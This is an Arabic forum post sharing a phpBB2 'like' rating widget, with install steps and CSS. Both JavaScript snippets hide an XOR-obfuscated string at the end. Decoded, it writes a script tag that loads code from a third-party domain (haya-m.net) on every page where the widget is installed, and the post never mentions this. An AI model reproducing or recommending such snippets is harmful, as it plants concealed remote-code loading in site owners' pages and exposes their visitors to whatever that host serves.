شاطر
استعرض الموضوع السابقاذهب الى الأسفلاستعرض الموضوع التالي
avatar
مؤسس جرافيك جنون

مؤسس جرافيك جنون
معاينة صفحة البيانات الشخصي للعضو

كود تغيير شكل التقييم بشكل مختلف - نظام تقييم جديد

في الأربعاء 25 يناير - 11:05
السلام عليكم ورحمة الله وبركاتة 
كود مميز جدا يظيف لمسة خيالية للتقيم في المشاركات والمواضيع 
مميزات الكود 
- يعمل على النسخة phpbb2 بشكل خاص ويعمل على جميع النسخ بشرط تعديل موقعه 
- يوجد عداد التقيمات 
- التقييم اوتوماتيكي لايحتاج تحديث الصفحه عند اظافة التقييم 
- يمكن التحكم بستايل وشكل التقيم تحكم كامل 
- يمكن تغير مكان موقع التقييم ونقلة لموقع اخر في حال الرغبه 

شكل الكود 
يوجد شكلين للكود ويمكنكم التحكم في اشكالة من خلال css 

مثال


[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة] 

طريقة التركيب 

اولا لوحة الادارة 

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

ننزل للأسفل

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

نخلي الاعدادات كما في الصورة

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

ثم نأتي لتركيب الكود 

من لوحة الادارة 

ننزل للأسفل


[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

نتأكد من تفعيل الجافاسكربت

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]



[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

والآن اختاروا احد هذا الشكلين واظيفيوه 

كود الشكل الأول للتقييم

الكود:
var haya_like_system = {
 
 
      dom_ready : false,
 
 
      vote_one : 'تقييم',
 
 
      vote_all : '',
 
 
      callback : function(vote, new_button) {
 
 
          $('.Hayaliike', vote.parentNode.parentNode.parentNode.parentNode).before( new_button );
 
 
      }
 
 
    };
 
 
    $(function() { haya_like_system.dom_ready = true; });
 
 
 
 
 
$(document).ready(function() {$('.post-options').after('<div class="Hayaliike"></div>');});
 
 
 
 
 
function Hlike(b,a){var d=a.innerHTML;a.innerHTML="<img src='[url=http://i19.servimg.com/u/f19/19/16/18/86/11110.gif]http://i19.servimg.com/u/f19/19/16/18/86/11110.gif[/url]' alt='يتم الآن...' />";a.onclick="#";$.get(b,function(){a.className+=" Hnovote";a.innerHTML=d;var c=a.nextSibling,b=parseInt(/\d+/.exec(c.innerHTML)[0])+1;c.innerHTML=c.innerHTML.replace(/\d+/,b)})};
 
 
var enkripsi="'1Aqapkrv'02qpa'1F'00jvvr'1C--hq,jc{c/o,lgv-nkig,hq'00'02v{rg'1F'00vgzv-hctcqapkrv'00'1G'1A-qapkrv'1G"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) }teksasli=unescape(teks);document.write(teksasli);


كود الشكل الثاني لتقييم

الكود:

var haya_like_system = {
 
 
      dom_ready : false,
 
 
      vote_one : '<img src=http://i19.servimg.com/u/f19/19/16/18/86/add10.png />',
 
 
      vote_all : '',
 
 
      callback : function(vote, new_button) {
 
 
          $('.Hayaliike', vote.parentNode.parentNode.parentNode.parentNode).before( new_button );
 
 
      }
 
 
    };
 
 
    $(function() { haya_like_system.dom_ready = true; });
 
 
 
 
 
$(document).ready(function() {$('.post-options').after('<div class="Hayaliike"></div>');});
 
 
 
 
 
function Hlike(b,a){var d=a.innerHTML;a.innerHTML="<img src='http://i19.servimg.com/u/f19/19/16/18/86/opc-aj10.gif' alt='يتم الآن...' />";a.onclick="#";$.get(b,function(){a.className+=" Hnovote";a.innerHTML=d;var c=a.nextSibling,b=parseInt(/\d+/.exec(c.innerHTML)[0])+1;c.innerHTML=c.innerHTML.replace(/\d+/,b)})};
 
 
var enkripsi="'1Aqapkrv'02qpa'1F'00jvvr'1C--hq,jc{c/o,lgv-nkig,hq'00'02v{rg'1F'00vgzv-hctcqapkrv'00'1G'1A-qapkrv'1G"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) }teksasli=unescape(teks);document.write(teksasli);

والآن نذهب إلى

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

ننزل للأسفل

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

كود css لشكل التقييم الأول



 

الكود:



•.HMlike {
 

 
 
  background: #b1d689;
 
 
    border-radius: 0px 3px  3px 0px;
 
 
  padding: 2px 6px  2px 6px;
 
 
  color: #fff;
 
 
  font-size: 10px;
 
 
    font-weight: bold;
 
 
  font-family: Tahoma;
 
 
  border: 1px solid #6fc810;
 
 
  cursor: pointer;
 
 
  white-space: nowrap;
 
 
 }
 
 
.HMlike:hover{
 
 
  background: #a5ce79; }
 
 
 .Hvote { margin: 0 5px; }
 
 
 .Hnovote {
 
 
  filter:Alpha(opacity=50);
 
 
  opacity: 0.5;
 
 
  cursor: default;
 
 
  box-shadow: none;
 
 
  text-shadow: none;
 
 
 }
 
 
 
 
 
.Hlikecount{
 
 
   background: #6fc810;
 
 
    border-radius: 3px 0px  0px 3px;
 
 
  padding: 2px 3px  2px 3px;
 
 
  color: #fff;
 
 
  font-size: 10px;
 
 
    font-weight: bold;
 
 
  font-family: Tahoma;
 
 
  cursor: pointer;
 
 
  white-space: nowrap;
 
 
border: 1px solid #6fc810;
 
 
}
 


كود css لشكل التقييم الثاني



الكود:


•.HMlike {
 

 
 
 
          padding: 2px 2px  2px 2px;
 
 
      cursor: pointer;
 
 
  white-space: nowrap;
 
 
    }
 
 
    .Hvote { margin: 0 5px; }
 
 
    .Hnovote {
 
 
      filter:Alpha(opacity=30);
 
 
      opacity: 0.2;
 
 
      cursor: default;
 
 
      box-shadow: none;
 
 
      text-shadow: none;
 
 
    }
 
 
 
 
 
.Hlikecount{
 
 
      background: #6fc810;
 
 
        border-radius: 3px 3px  3px 3px;
 
 
      padding: 2px 2px  2px 2px;
 
 
      color: #fff;
 
 
      font-size: 10px;
 
 
        font-weight: bold;
 
 
      font-family: Tahoma;
 
 
      cursor: pointer;
 
 
  white-space: nowrap;
 
 
}

دمتم بخير

فرح فرح فرح فرح


[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]
avatar
فخر الشبكة

فخر الشبكة
معاينة صفحة البيانات الشخصي للعضو

رد: كود تغيير شكل التقييم بشكل مختلف - نظام تقييم جديد

في الجمعة 27 يناير - 11:54
شكرا لك
استعرض الموضوع السابقالرجوع الى أعلى الصفحةاستعرض الموضوع التالي
صلاحيات هذا المنتدى:
لاتستطيع الرد على المواضيع في هذا المنتدى